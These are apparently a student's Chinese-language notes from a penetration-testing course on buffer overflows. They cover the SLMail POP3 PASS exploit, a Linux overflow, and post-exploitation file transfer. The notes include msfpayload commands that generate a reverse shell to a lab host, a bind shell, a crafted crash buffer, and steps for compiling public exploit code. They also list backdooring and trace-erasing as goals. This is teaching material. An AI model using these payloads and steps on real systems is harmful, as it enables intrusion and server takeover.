【学习笔记】缓冲区溢出

缓冲区溢出

程序漏洞来源

 

数据与代码边界不清

最简漏洞原理——shell脚本漏洞

缓冲区溢出

当缓冲区边界限制不严格时，由于变量传入畸形数据或程序运行错误，

导致缓冲区被“撑暴”，从而覆盖了相邻内存区域的数据；

成功修改内存数据，可造成进程劫持，执行恶意代码，获取服务器控

制权限等后果。

如何发现漏洞

代码审计

逆向工程

模糊测试

想程序堆栈半随机的数据，根据内存变化判断溢出

数据生成器；生成随机，半随机数据

测试工具：识别溢出漏洞

Windows缓冲区溢出

FUZZER——模糊测试

SLMail

POP3 PASS命令存在缓冲区溢出漏洞

无需身份验证实现远程代码执行

 

DEP：阻止代码从数据页被执行

ASLR：随机内存地址加载执行程序和DLL

思路：

将EIP修改为shellcode代码的内存地址，将Shellcode写入该地址空间，程序读取EIP寄存器数值，将跳转到Shellcode的内存空间

不同类型的程序、协议、漏洞，会将某些字符认为是坏字符，这些字符有固定用途

返回地址、Shellcode、buffer中都不能出现坏字符

Null byte （0x00）空字符，用于终止字符串的拷贝操作

Return （0x0D）回车字符，表示POP3PASS命令输入完成

思路：发送0x00——0xff256个字符，查找所有坏字符

重定向数据流

使用ESP的地址替换EIP的值

但是ESP地址变化，硬编码不可行

Slmail是线程应用程序，操作系统为每一个线程分配一段地址范围，每个地址范围不确定

变通思路：

在内存中找到地址固定的系统模块

在模块中寻找JMP ESP指令的地址跳转，再由该指令间接跳转ESP，从而执行Shellcode

mona.py脚本识别内存模块，搜索“retrun address”是ＪＭＰ　ＥＳＰ指令模块

寻找无ＤＥＰ、ＡＬＳＲ保护的内存地址

内存地址不包含坏字符

寻找不收保护的系统模块

！ｍｏｎａ　ｍｏｄｕｌｅｓ

将汇编指令ｊｍｐ　ｅｓｐ转换二进制

./nasm_shell取得FFE4

在模块中搜索FFE4指令

！mona find -s“\xff\xe4” -m slmfc.dll

选择不包含坏字符的内存地址

在该地址设置断点

重发buffer

生成Shellcode

使用./msfpayload

 ./msfpayloadwin32_reverse LHOST=192.168.20.8 LPORT=443 R | ./msfencode -b “\x00\x0a\x0d”

注意：Shellcode执行结束后以EXitProcess方式退出整个进程，将导致邮件服务崩溃

解决方法：使用ExitThread方法退出

 ./msfpayloadwin32_reverse LHOST=192.168.20.8 EXITFUNC=threadLPORT=443 R | ./msfencode -b “\x00\x0a\x0d”

 

Linux缓冲区溢出

调试工具——edb

运行平台——kali i486虚拟机

新版系统会有DEP 、ALSR、堆栈cookies、堆栈粉碎保护机制

ps：限制只有本机连接

 iptables -A INPUT -p tcp--destination-port 13327 \! -d 127.0.0.1 -j DROP

 iptables -A INPUT -p tcp--destination-port 4444 \! -d 127.0.0.1 -j DROP

调试：

edb --run 目标文件

唯一字符串识别EIP精确位置

 /usr/share/metasploit-‐framework/tools/pattern_create.rb4379 （创建字符串个数）

判断字符位置

/usr/share/metasploit-‐framework/tools/pattern_offset.rb46367046

思路：

第一阶段Shellcode

ESP跳转到EAX

偏移12个字节

调用/usr/share/metasploit-‐framework/tools/nasm_shell.rb 

-汇编指令：add eax，12

Jmp eax

查找坏字符

ESP跳转地址

使用插件Opcode serach

eg：crash ="\x41“ * 4368 + "\x97\x45\x13\x08“ +"\x83\xc0\x0c\xff\xe0\x90\x90"

设置断点

EIP

生成Shellcode：

 msfpayload linux/x86/shell_bind_tcp LPORT=4444R | msfencode -b "\x00\x0a\x0d\x20" 

 

选择和修改EXP

选择可信赖的EXP源

Exploit-db

EecurityFocus

Serachsploit

有能力修改EXP（python、perl、Ruby、c、c++）

646.c

类unix环境下编译

windows环境下编译

apt-get install mingw32

运行：

 dpkg--add-architecture i386 && apt-get update && apt-get installwine32

导出成exe：

 i586-mingw32msvc-gcc 646.c -lws2_32 -o sl.exe

运行：

Wine  **.exeIP

避免有害的EXP

考虑系统版本、软件版本、不同的offset、Shellcode

后漏洞利用阶段

上传工具

提权

擦出攻击痕迹

安装后门

长期控制

Dump密码

内网渗透

后漏洞利用阶段

最大的挑战——防病毒软件

使用合法的远程控制软件

上传工具

linux系统

Netcat

Curl

Wget

Windows

缺少预装的下载工具

非交互性shell

类NC远程控制shell

Ftp 192.168.1.1

TFTP传输文件

Xp、2003默认安装

经常被边界防火墙过滤

Kali

mkdir /tftp

添加文件到/tftp/

Chown -R nobody /tftp/

 

启动tftp服务：

atftpd --daemon --port 69 /tftp

远程端：

tftp -i kali IP get file

 

FTP传输文件

VBSCRIPT传输文件

POWERSHELL传输文件

DEBUG传输文件

PS：本笔记通过安全牛课堂教程学习整理所得 http://edu.aqniu.com/course/83